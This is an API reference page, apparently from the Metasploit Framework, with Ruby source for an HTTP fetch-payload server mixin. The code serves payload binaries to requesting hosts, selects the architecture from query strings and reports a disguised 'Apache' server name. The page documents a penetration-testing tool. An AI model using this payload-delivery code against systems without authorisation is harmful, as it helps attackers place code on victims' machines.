Module: Payload::Adapter::Fetch::Server::HTTP
- Defined in:
- lib/msf/core/payload/adapter/fetch/server/http.rb
Overview
This mixin supports only HTTP fetch handlers.
Instance Method Summary collapse
- #add_resource(fetch_service, uri, srv_entry) ⇒ Object
- #cleanup_http_fetch_service(fetch_service, my_resources) ⇒ Object
- #fetch_error_response(code, message) ⇒ Object
- #fetch_protocol ⇒ Object
- #identify_arch(query_string) ⇒ Object
- #initialize(*args) ⇒ Object
- #normalize_query_param(value) ⇒ Object
- #on_request_uri(cli, request, srv_entry) ⇒ Object
- #payload_response(srvexe) ⇒ Object
- #srvname ⇒ Object
- #start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) ⇒ Object
- #start_http_server(ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) ⇒ Object
Instance Method Details
#add_resource(fetch_service, uri, srv_entry) ⇒ Object
22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 22 def add_resource(fetch_service, uri, srv_entry) vprint_status("Adding resource #{uri}") if fetch_service.resources.include?(uri) # When we clean up, we need to leave resources alone, because we never added one. fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') end begin fetch_service.add_resource(uri, 'Proc' => proc do |cli, req| on_request_uri(cli, req, srv_entry) end, 'VirtualDirectory' => true) @myresources << uri rescue ::Exception => e # When we clean up, we need to leave resources alone, because we never added one. fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") end end |
#cleanup_http_fetch_service(fetch_service, my_resources) ⇒ Object
41 42 43 44 45 46 47 48 49 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 41 def cleanup_http_fetch_service(fetch_service, my_resources) my_resources.each do |uri| if fetch_service.resources.include?(uri) fetch_service.remove_resource(uri) end end fetch_service = nil end |
#fetch_error_response(code, message) ⇒ Object
138 139 140 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 138 def fetch_error_response(code, ) Rex::Proto::Http::Response.new(code, , Rex::Proto::Http::DefaultProtocol) end |
#fetch_protocol ⇒ Object
14 15 16 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 14 def fetch_protocol 'HTTP' end |
#identify_arch(query_string) ⇒ Object
64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 64 def identify_arch(query_string) arch_param = normalize_query_param(query_string['arch']) endian_param = normalize_query_param(query_string['endian']) vprint_status("Detected #{arch_param}") unless arch_param.nil? vprint_status('Detected big endian') if endian_param == '2' vprint_status('Detected little endian') if endian_param == '1' vprint_status('No Endian data detected') if endian_param.nil? if arch_param.nil? || arch_param.strip.empty? print_error('Fetch request missing required arch query parameter') return nil end arch = Rex::Arch.from_uname(arch_param) # Mips hosts are inconsistent with only uname, so we are just guessing, here. if arch_param == 'mips' if endian_param.nil? print_warning("Uname reports 'mips' and no endian data received.") print_warning('We are guessing this means mipsel and are serving a mipsel payload.') print_warning('If it fails, try using an explicit mipsbe payload.') arch = Rex::Arch.from_uname('mipsel') elsif endian_param.to_i == 1 arch = Rex::Arch.from_uname('mipsel') elsif endian_param.to_i == 2 arch = Rex::Arch.from_uname('mips') else print_warning("Unknown endian value reported: #{endian_param}") print_warning('We are guessing this means mipsel and are serving a mipsel payload.') print_warning('If it fails, try using an explicit mipsbe payload.') arch = Rex::Arch.from_uname('mipsel') end end arch end |
#initialize(*args) ⇒ Object
5 6 7 8 9 10 11 12 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 5 def initialize(*args) super ( [ Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) ] ) end |
#normalize_query_param(value) ⇒ Object
97 98 99 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 97 def normalize_query_param(value) value.is_a?(Array) ? value.first : value end |
#on_request_uri(cli, request, srv_entry) ⇒ Object
101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 101 def on_request_uri(cli, request, srv_entry) opts = srv_entry[:opts].dup client = cli.peerhost vprint_status("Client #{client} requested #{request.uri}") if (user_agent = request.headers['User-Agent']) client += " (#{user_agent})" end if opts[:dynamic_arch] vprint_status("Dynamic Payload Detected, expecting a Query String in the request...") query_string = request.uri_parts['QueryString'] || {} arch = identify_arch(query_string) if arch.nil? arch_param = normalize_query_param(query_string['arch']) if arch_param.nil? || arch_param.strip.empty? cli.send_response(fetch_error_response(400, 'Bad Request')) else print_error('Failed to identify arch based on query string. Sending 404.') cli.send_response(fetch_error_response(404, 'Not Found')) end else vprint_status("Building payload for #{arch} arch") opts[:arch] = arch # Call generate with arch and dynamic_arch populated properly to build the right binary payload_exe = generate(opts) if payload_exe.nil? print_error("No payload available for #{arch}") cli.send_response(fetch_error_response(404, 'Not Found')) else cli.send_response(payload_response(payload_exe)) end end else cli.send_response(payload_response(srv_entry[:data])) end vprint_status("Sent payload to #{client}") end |
#payload_response(srvexe) ⇒ Object
142 143 144 145 146 147 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 142 def payload_response(srvexe) res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) res['Content-Type'] = 'text/html' res.body = srvexe.to_s.unpack('C*').pack('C*') res end |
#srvname ⇒ Object
18 19 20 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 18 def srvname datastore['FetchHttpServerName'] end |
#start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) ⇒ Object
51 52 53 54 55 56 57 58 59 60 61 62 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 51 def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) # this looks a bit funny because I converted it to use an instance variable so that if we crash in the # middle and don't return a value, we still have the right fetch_service to clean up. fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) if fetch_service.nil? cleanup_handler fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") end vprint_status("#{fetch_protocol} server started") fetch_service.server_name = srvname fetch_service end |
#start_http_server(ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) ⇒ Object
149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 |
# File 'lib/msf/core/payload/adapter/fetch/server/http.rb', line 149 def start_http_server(ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) begin fetch_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, fetch_bindport, fetch_bindhost, ssl, { 'Msf' => framework, 'MsfExploit' => self }, _determine_server_comm(fetch_bindhost), ssl_cert, ssl_compression, ssl_cipher, ssl_version ) rescue Exception => e cleanup_handler fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") end vprint_status("Fetch handler listening on #{fetch_bindnetloc}") fetch_service end |